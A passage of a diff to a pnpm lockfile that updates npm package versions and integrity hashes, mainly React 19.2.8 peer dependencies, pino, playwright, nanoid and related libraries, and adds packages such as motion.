     resolution: {integrity: sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   lz-string@1.5.0:
     resolution: {integrity: sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==}
@@ -7225,8 +7590,8 @@ packages:
     resolution: {integrity: sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==}
     engines: {node: '>=4'}
 
-  minimatch@10.2.5:
-    resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==}
+  minimatch@10.2.6:
+    resolution: {integrity: sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==}
     engines: {node: 18 || 20 || >=22}
 
   minimatch@3.1.5:
@@ -7283,6 +7648,26 @@ packages:
     engines: {node: '>=10'}
     hasBin: true
 
+  motion-dom@12.43.0:
+    resolution: {integrity: sha512-azKON4d9S65PEoFUiQTMTgPheEmzf2QngdRc50AKfJp9Q9mmcBVw22c8eMq9k8kxOFHdL7+WZY7N/5F/lwiDag==}
+
+  motion-utils@12.39.0:
+    resolution: {integrity: sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ==}
+
+  motion@12.43.0:
+    resolution: {integrity: sha512-BQgQbSa9Hn3/mtbib0MK53y6JSANa+YKUKlaYnWzAVDH424RYQ5LVpV3pNiWH00BA2z4ojsSdMzqT7g2FQwjuQ==}
+    peerDependencies:
+      '@emotion/is-prop-valid': '*'
+      react: ^19.2.8
+      react-dom: ^19.2.8
+    peerDependenciesMeta:
+      '@emotion/is-prop-valid':
+        optional: true
+      react:
+        optional: true
+      react-dom:
+        optional: true
+
   mri@1.2.0:
     resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==}
     engines: {node: '>=4'}
@@ -7302,13 +7687,13 @@ packages:
     engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}
     hasBin: true
 
-  nanoid@5.1.11:
-    resolution: {integrity: sha512-v+KEsUv2ps74PaSKv0gHTxTCgMXOIfBEbaqa6w6ISIGC7ZsvHN4N9oJ8d4cmf0n5oTzQz2SLmThbQWhjd/8eKg==}
-    engines: {node: ^18 || >=20}
+  nanoid@6.0.1:
+    resolution: {integrity: sha512-3wVS3i51pE2pi1k5FFL/95BGfVS0kSsvDVuGXHOtxox/TywUmtgq+3qiTOTbs9J7KfHaXPiN171k/A6dBnaXFw==}
+    engines: {node: ^22 || ^24 || >=26}
     hasBin: true
 
-  nanostores@1.4.1:
-    resolution: {integrity: sha512-PGd3uPojJB9Z07d5NX3Db/SOSBbyy3wLMUGq0GpnEEJfVzY9mq7daPMAZ3jObV5D3Jn+YKND636eI5ULg7F80Q==}
+  nanostores@1.5.0:
+    resolution: {integrity: sha512-E0SrU7uLV/k4E6YbBIpQNDnRj00vgE5wlutM1sYVSAXDtHQosiRCGS9eKMKyiGg4ChXfDiJmTB+NCR3yXr6UAw==}
     engines: {node: ^20.0.0 || >=22.0.0}
 
   napi-build-utils@2.0.0:
@@ -7346,11 +7731,8 @@ packages:
     engines: {node: '>= 10.12.0'}
     hasBin: true
 
-  node-releases@2.0.27:
-    resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==}
-
-  node-releases@2.0.51:
-    resolution: {integrity: sha512-wRNIrw4DmVLKQlbgOMdkMx27Wrpzes2hh5Jtbi2bjPd+4wJstWIqP5A+lscnqbm0xxmT5Bpg8Lec5ItEBwx6BQ==}
+  node-releases@2.0.53:
+    resolution: {integrity: sha512-D9UOmYG3UH1V+ENW56t5QXBwJw1YEY18ruVeus89Rw+SyIgjPkCO84bRzO3uNIYosJbNwiabWVn48o3uJLjxFQ==}
     engines: {node: '>=18'}
 
   nopt@5.0.0:
@@ -7396,8 +7778,8 @@ packages:
     resolution: {integrity: sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==}
     engines: {node: '>=18'}
 
-  open@11.0.0:
-    resolution: {integrity: sha512-smsWv2LzFjP03xmvFoJ331ss6h+jixfA4UUV/Bsiyuu4YJPfN+FIQGOIiv4w9/+MoHkfkJ22UIaQWRVFRfH6Vw==}
+  open@11.0.1:
+    resolution: {integrity: sha512-NzwMUB6C1D0+Kd+9iMS/H4k+Ck3cTX6Ckyfr/gAGlmvSE1LUQZnEZvWBi4PYmMwH/S5SMeTXnE+9uAz8uF+pWw==}
     engines: {node: '>=20'}
 
   outvariant@1.4.0:
@@ -7423,11 +7805,8 @@ packages:
   parse-entities@4.0.2:
     resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==}
 
-  parse5@7.3.0:
-    resolution: {integrity: sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==}
-
-  parse5@8.0.0:
-    resolution: {integrity: sha512-9m4m5GSgXjL4AjumKzq1Fgfp3Z8rsvjRNbnkVwfu2ImRqE5D0LnY2QfDen18FSY9C573YU5XxSapdHZTZ2WolA==}
+  parse5@8.0.1:
+    resolution: {integrity: sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==}
 
   parseurl@1.3.3:
     resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==}
@@ -7506,14 +7885,11 @@ packages:
     resolution: {integrity: sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==}
     engines: {node: '>=12'}
 
-  pino-abstract-transport@2.0.0:
-    resolution: {integrity: sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==}
-
   pino-abstract-transport@3.0.0:
     resolution: {integrity: sha512-wlfUczU+n7Hy/Ha5j9a/gZNy7We5+cXp8YL+X+PG8S0KXxw7n/JXA3c46Y0zQznIJ83URJiwy7Lh56WLokNuxg==}
 
-  pino-http@10.5.0:
-    resolution: {integrity: sha512-hD91XjgaKkSsdn8P7LaebrNzhGTdB086W3pyPihX0EzGPjq5uBJBXo4N5guqNaK6mUjg9aubMF7wDViYek9dRA==}
+  pino-http@11.0.0:
+    resolution: {integrity: sha512-wqg5XIAGRRIWtTk8qPGxkbrfiwEWz1lgedVLvhLALudKXvg1/L2lTFgTGPJ4Z2e3qcRmxoFxDuSdMdMGNM6I1g==}
 
   pino-pretty@13.1.3:
     resolution: {integrity: sha512-ttXRkkOz6WWC95KeY9+xxWL6AtImwbyMHrL1mSwqwW9u+vLp/WIElvHvCSDg0xO/Dzrggz1zv3rN5ovTRVowKg==}
@@ -7522,22 +7898,22 @@ packages:
   pino-std-serializers@7.1.0:
     resolution: {integrity: sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==}
 
-  pino@9.14.0:
-    resolution: {integrity: sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==}
+  pino@10.3.1:
+    resolution: {integrity: sha512-r34yH/GlQpKZbU1BvFFqOjhISRo1MNx1tWYsYvmj6KIRHSPMT2+yHOEb1SG6NMvRoHRF0a07kCOox/9yakl1vg==}
     hasBin: true
 
   pkce-challenge@5.0.1:
     resolution: {integrity: sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==}
     engines: {node: '>=16.20.0'}
 
-  playwright-core@1.61.1:
-    resolution: {integrity: sha512-h7Qlt6m4REp25qvIdvbDtVmD4LqVXfpRxhORv9L0jzETM05p4fuPJ3dKyuSXQxDSbXnmS79HAgi9589lGSpLkg==}
-    engines: {node: '>=18'}
+  playwright-core@1.62.1:
+    resolution: {integrity: sha512-wPYSwEBJY9GHraISXqyqtx0na0LpO3XEX7jNDhntbex7tzUS7kLnZsOlFruFJB4Hi/rhDMjXGqHewDZ68nYZVw==}
+    engines: {node: '>=20'}
     hasBin: true
 
-  playwright@1.61.1:
-    resolution: {integrity: sha512-DWnY5o3YbLWK4GovuAVwpqL+1VwGNdUGrRr++8j8PtQQzvAVZUIMjKQ90fY689sEJZJBbZVw1rXaOKSTitkzPQ==}
-    engines: {node: '>=18'}
+  playwright@1.62.1:
+    resolution: {integrity: sha512-0M+L3LAD8/nm554LOla9Ayx0j0tmFZ0FBcoQ7F1VuVHpM/XpiC8RcDzBQB8W5+hA8L22THxELzeF+2WcUzvcLg==}
+    engines: {node: '>=20'}
     hasBin: true
 
   points-on-curve@0.2.0:
@@ -7578,6 +7954,10 @@ packages:
     resolution: {integrity: sha512-dM0jVuXJPsDN6DvRpea484tCUaMiXWjuCn++HGTqUWzGDjv5tZkEZldAJ/UMlqRYGFrD/etByo4/xOuC/snX2A==}
     engines: {node: '>=20'}
 
+  powershell-utils@0.2.0:
+    resolution: {integrity: sha512-ZlsFlG7MtSFCoc5xreOvBAozCJ6Pf06opgJjh9ONEv418xpZSAzNjstD36C6+JwOnfSqOW/9uDkqKjezTdxZhw==}
+    engines: {node: '>=20'}
+
   prebuild-install@7.1.3:
     resolution: {integrity: sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==}
     engines: {node: '>=10'}
@@ -7588,8 +7968,8 @@ packages:
     resolution: {integrity: sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==}
     engines: {node: ^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0}
 
-  process-warning@5.0.0:
-    resolution: {integrity: sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==}
+  process-warning@5.1.0:
+    resolution: {integrity: sha512-jQSaVHsPgtyw60e1rQ/A+/ArPEj/S8pS/vFnyGa/gYFXrKk/6RuDkoqVDQ5NI5MmS01698ltlAk0NoDBNLujRw==}
 
   promise-inflight@1.0.1:
     resolution: {integrity: sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==}
@@ -7630,16 +8010,20 @@ packages:
     resolution: {integrity: sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==}
     engines: {node: '>=0.6'}
 
+  qs@6.15.3:
+    resolution: {integrity: sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==}
+    engines: {node: '>=0.6'}
+
   quick-format-unescaped@4.0.4:
     resolution: {integrity: sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==}
 
-  radix-ui@1.6.4:
-    resolution: {integrity: sha512-Kpgb9sx08toOydBK42//0N3MqIPlqjHcY39CYuGG8+7DrF6+NTfAnc3o+f1kvoKzG6cI56ri7Z45XEBQqG1QqQ==}
+  radix-ui@1.6.7:
+    resolution: {integrity: sha512-QBdhh1arIEUvPC0dQ5+nwWAxt7+N+oP/9jPwjJkGFoSk/sqxg32gJtSXGtFh8frAIcS6oC9cx2Q+7KYCQLOAeA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -7670,22 +8054,22 @@ packages:
     resolution: {integrity: sha512-aEZ9qP+/M+58x2qgfSFEWH1BxLyHe5+qkLNJOZQb5iGS017jpbRnoKhNRrXPeA6RfBrZO5wZrT9DMC1UqE1f1w==}
     engines: {node: ^20.9.0 || >=22}
 
-  react-dom@19.2.7:
-    resolution: {integrity: sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ==}
+  react-dom@19.2.8:
+    resolution: {integrity: sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   react-hook-form@7.79.0:
     resolution: {integrity: sha512-mhYp/MTmXvzYX6AJcJVko0rktoIhhmRnEouObj4wF5i/tCttgJvnp1+9wRkpITZjDTqpo4IOSJqu0dBlPlV/Lw==}
     engines: {node: '>=18.0.0'}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
-  react-i18next@17.0.10:
-    resolution: {integrity: sha512-XneHftyYA774MJkkccSkZ5oKrUpCnXIPmxio3wemqrVzCRLWiGXOMbIzObrer03fNDEnm8g8R5yYls4HcE+esg==}
+  react-i18next@17.0.11:
+    resolution: {integrity: sha512-cDtkXgxjuFTWUH6V+aQn1Ve5vDiUztCNPWW5GtSHDccsgRXO1nE6QFWCEmc1KAutrb3OUv87wFShJL5RhUwPXg==}
     peerDependencies:
       i18next: '>= 26.2.0'
-      react: ^19.2.7
+      react: ^19.2.8
       react-dom: '*'
       react-native: '*'
       typescript: ^5 || ^6 || ^7
@@ -7707,10 +8091,10 @@ packages:
     resolution: {integrity: sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ==}
     peerDependencies:
       '@types/react': '>=18'
-      react: ^19.2.7
+      react: ^19.2.8
 
-  react-refresh@0.17.0:
-    resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==}
+  react-refresh@0.18.0:
+    resolution: {integrity: sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==}
     engines: {node: '>=0.10.0'}
 
   react-remove-scroll-bar@2.3.8:
@@ -7718,7 +8102,7 @@ packages:
     engines: {node: '>=10'}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -7728,7 +8112,7 @@ packages:
     engines: {node: '>=10'}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -7736,22 +8120,22 @@ packages:
   react-resizable-panels@4.12.2:
     resolution: {integrity: sha512-NwY5LCo4WrxVvDh0xoMML6EMLPONP/8ckKcIdpnojxexoatZdjLiRqLJQjQK5CPkd4SYiB/2M5BVrjZBQtOO7Q==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
-  react-router-dom@7.18.1:
-    resolution: {integrity: sha512-KaZh+X/6UtEp28x51AUYZDMg9NGoz2ja3dNHa+ta/tk40vCzKhQ/RypCWBMLbmDr6//E24Vv5uPsrqXFozdkAg==}
+  react-router-dom@7.18.2:
+    resolution: {integrity: sha512-AIKJ/jgGlFb3EbfCXk5Gzshiwt+l3mqbCrNjmEWMMjqQxNJ3svBa6bgzFyCC2Sw3RA0VWF1kg3uQf2OFhxb8hw==}
     engines: {node: '>=20.0.0'}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
-  react-router@7.18.1:
-    resolution: {integrity: sha512-GDLgg3i3uM0aeJO3Fm+TCS+sDQ7gu12T6x0qdTEzcwqEfleci7JwugVNIF3U//0FWKnJT7ptG+20B2jfDqnZAg==}
+  react-router@7.18.2:
+    resolution: {integrity: sha512-aUVMjFm3GAPTTZL7oYr5E7ETiqfQCHRLH+B+5afnICvf0r7kkK4eR6SMuwbSTJw/7t+12khT/Kahij49fqOCIg==}
     engines: {node: '>=20.0.0'}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       react-dom:
         optional: true
@@ -7761,7 +8145,7 @@ packages:
     engines: {node: '>=10'}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -7770,24 +8154,27 @@ packages:
     resolution: {integrity: sha512-U1DGlIQN5AwgjTyOEnI1oCcMuEr1pv1qOtklB2l4nyMGbHzWrI0eFsYK0zos2YWqAolJyG0IWJaqWmWj5ETh0A==}
     engines: {node: '>=10'}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
-  react@19.2.7:
-    resolution: {integrity: sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ==}
+  react@19.2.8:
+    resolution: {integrity: sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw==}
     engines: {node: '>=0.10.0'}
 
   readable-stream@3.6.2:
     resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==}
     engines: {node: '>= 6'}
 
-  readdirp@4.1.2:
-    resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==}
-    engines: {node: '>= 14.18.0'}
+  readdirp@5.1.1:
+    resolution: {integrity: sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==}
+    engines: {node: '>= 20.19.0'}
 
   real-require@0.2.0:
     resolution: {integrity: sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==}
     engines: {node: '>= 12.13.0'}
 
+  real-require@1.0.0:
+    resolution: {integrity: sha512-P4nbQYQfePJxRSmY+v/KINxVucm4NF3p3s7pJveMTtom52FR4YGltUQLB8idDXwDDWW+eYrWDFbuzUnjoWHF7g==}
+
   recast@0.23.12:
     resolution: {integrity: sha512-dEWRjcINDu/F4l2dYx57ugBtD7HV9KXESyxhzw/MqWLeglJrsjJKqACPyUPg+6AF8mIgm+Zi0dZ3ACoIg+QtpA==}
     engines: {node: '>= 4'}
@@ -7858,8 +8245,13 @@ packages:
     engines: {node: '>=18.0.0', npm: '>=8.0.0'}
     hasBin: true
 
-  rou3@0.7.12:
-    resolution: {integrity: sha512-iFE4hLDuloSWcD7mjdCDhx2bKcIsYbtOTpfH5MHHLSKMOUyjqQXTeZVa289uuwEGEKFoE/BAPbhaU4B774nceg==}
+  rollup@4.62.5:
+    resolution: {integrity: sha512-/tqMfgP7GPA3PHhCmuiS4vIjrSVhHLgY++i+dhbG462euyAj7FpM4D9uq1X3BgjlqRdpcOrYhcQtfiQLNc8tqw==}
+    engines: {node: '>=18.0.0', npm: '>=8.0.0'}
+    hasBin: true
+
+  rou3@0.9.2:
+    resolution: {integrity: sha512-3SOzvaAg8rkHrXtRjpCvCvbyO5to9oOO27Z/XqHEYXfMRVSw/qMIVdmaOk9W2lcRLtR6dlqTjo9hDeJk70QBYQ==}
 
   roughjs@4.6.6:
     resolution: {integrity: sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ==}
@@ -7882,8 +8274,8 @@ packages:
   safe-buffer@5.2.1:
     resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
 
-  safe-content-frame@0.0.20:
-    resolution: {integrity: sha512-saE3fBeGWOsi04PzTUaRi6RsBIjDYrZX4KzgIZUjbq3xQeOKYMcW1DeTb573Zyx1ggCDVJKoD/THchblISwjiQ==}
+  safe-content-frame@0.0.27:
+    resolution: {integrity: sha512-IFUSMjElIp8q46wUU5HViHNEqoDWRlCzqqThQmhOLimuXPe/QC6Jr/AQ+BKxSYziQdNXUpapBq4Ir/t6dS0Ldg==}
 
   safe-stable-stringify@2.5.0:
     resolution: {integrity: sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==}
@@ -7956,6 +8348,10 @@ packages:
     resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==}
     engines: {node: '>= 0.4'}
 
+  side-channel-list@1.0.1:
+    resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==}
+    engines: {node: '>= 0.4'}
+
   side-channel-map@1.0.1:
     resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==}
     engines: {node: '>= 0.4'}
@@ -7968,6 +8364,10 @@ packages:
     resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==}
     engines: {node: '>= 0.4'}
 
+  side-channel@1.1.1:
+    resolution: {integrity: sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==}
+    engines: {node: '>= 0.4'}
+
   siginfo@2.0.0:
     resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==}
 
@@ -8149,9 +8549,6 @@ packages:
   tailwind-merge@3.6.0:
     resolution: {integrity: sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w==}
 
-  tailwindcss@4.3.2:
-    resolution: {integrity: sha512-WtctNNSH8A9jlMIqxzuYumOHU5uGZyRv0Q5svQl+oEPy5w84YpBxdb7MdqyiSPQge5jTJ6zFQLq0PFygdccSBA==}
-
   tailwindcss@4.3.3:
     resolution: {integrity: sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ==}
 
@@ -8180,8 +8577,9 @@ packages:
   text-decoder@1.2.7:
     resolution: {integrity: sha512-vlLytXkeP4xvEq2otHeJfSQIRyWxo/oZGEbXrtEEF9Hnmrdly59sUbzZ/QgyWuLYHctCHxFF4tRQZNQ9k60ExQ==}
 
-  thread-stream@3.1.0:
-    resolution: {integrity: sha512-OqyPZ9u96VohAyMfJykzmivOrY2wfMSf3C5TtFJVgN+Hm6aj+voFhlK+kZEIv2FBh1X6Xp3DlnCOfEQ3B2J86A==}
+  thread-stream@4.2.0:
+    resolution: {integrity: sha512-e2zZ96wSChazBsbENf/Pcm/4swHt2cEKQ92rhUjkL9GCKiTDJIaTBenjE/m9DXi0QBmTMDkFDdOomUy20A1tDQ==}
+    engines: {node: '>=20'}
 
   tiny-invariant@1.3.3:
     resolution: {integrity: sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==}
@@ -8209,23 +8607,27 @@ packages:
     resolution: {integrity: sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==}
     engines: {node: '>=14.0.0'}
 
+  tinyrainbow@3.1.1:
+    resolution: {integrity: sha512-yau8yJdTt989Mm0Bd/236QnzEiPf2xLLTqUZRUJOo/3CB078LSwzei343DgtJVmfJKJE3TMINY1u42SQsP6mXw==}
+    engines: {node: '>=14.0.0'}
+
   tinyspy@4.0.4:
     resolution: {integrity: sha512-azl+t0z7pw/z958Gy9svOTuzqIk6xq+NSheJzn5MMWtWTFywIacg2wUlzKFGtt3cthx0r2SxMK0yzJOR0IES7Q==}
     engines: {node: '>=14.0.0'}
 
-  tldts-core@7.0.26:
-    resolution: {integrity: sha512-5WJ2SqFsv4G2Dwi7ZFVRnz6b2H1od39QME1lc2y5Ew3eWiZMAeqOAfWpRP9jHvhUl881406QtZTODvjttJs+ew==}
+  tldts-core@7.4.10:
+    resolution: {integrity: sha512-KnQjp53ZekKgm/r3l+u8kJGGzYgrWdP8+Mql7a4vijh2WE0IrZWspQj/TpTxDho/YxO+AnOZnIjQcCD+q6iJsw==}
 
-  tldts@7.0.26:
-    resolution: {integrity: sha512-WiGwQjr0qYdNNG8KpMKlSvpxz652lqa3Rd+/hSaDcY4Uo6SKWZq2LAF+hsAhUewTtYhXlorBKgNF3Kk8hnjGoQ==}
+  tldts@7.4.10:
+    resolution: {integrity: sha512-GgouD1B+sWwvkaEq8vXC15DjQitxbvs12oIXELpconwm+Tg3zfcEv4jgzq3vtKverDXsg3VI8aRgNL2Nra0Iog==}
     hasBin: true
 
   toidentifier@1.0.1:
     resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==}
     engines: {node: '>=0.6'}
 
-  tough-cookie@6.0.1:
-    resolution: {integrity: sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==}
+  tough-cookie@6.0.2:
+    resolution: {integrity: sha512-exgYmnmL/sJpR3upZfXG5PoatXQii55xAiXGXzY+sROLZ/Y+SLcp9PgJNI9Vz37HpQ74WvDcLT8eqm+kV3FzrA==}
     engines: {node: '>=16'}
 
   tr46@6.0.0:
@@ -8252,8 +8654,8 @@ packages:
   tslib@2.8.1:
     resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==}
 
-  tsx@4.23.1:
-    resolution: {integrity: sha512-GQHnkIfxyx1wYCOS/wonik5MVRZU9hi1TEZmzGZSCJB1y9YgoZ8H6itNE/u4suE+yLmOzuE4E5S4TZ/ZX2wcWQ==}
+  tsx@4.23.12:
+    resolution: {integrity: sha512-FDf4L4sYzKtzWYhU/Xm0AQFdTjdIxNo9ElTf2mxXM6k8YMHXzYUe4yODVaXP4V9uMFbVg8c0qyBccK2OOxb45Q==}
     engines: {node: '>=18.0.0'}
     hasBin: true
 
@@ -8282,22 +8684,22 @@ packages:
     engines: {node: '>=14.17'}
     hasBin: true
 
-  undici-types@6.21.0:
-    resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==}
-
   undici-types@7.16.0:
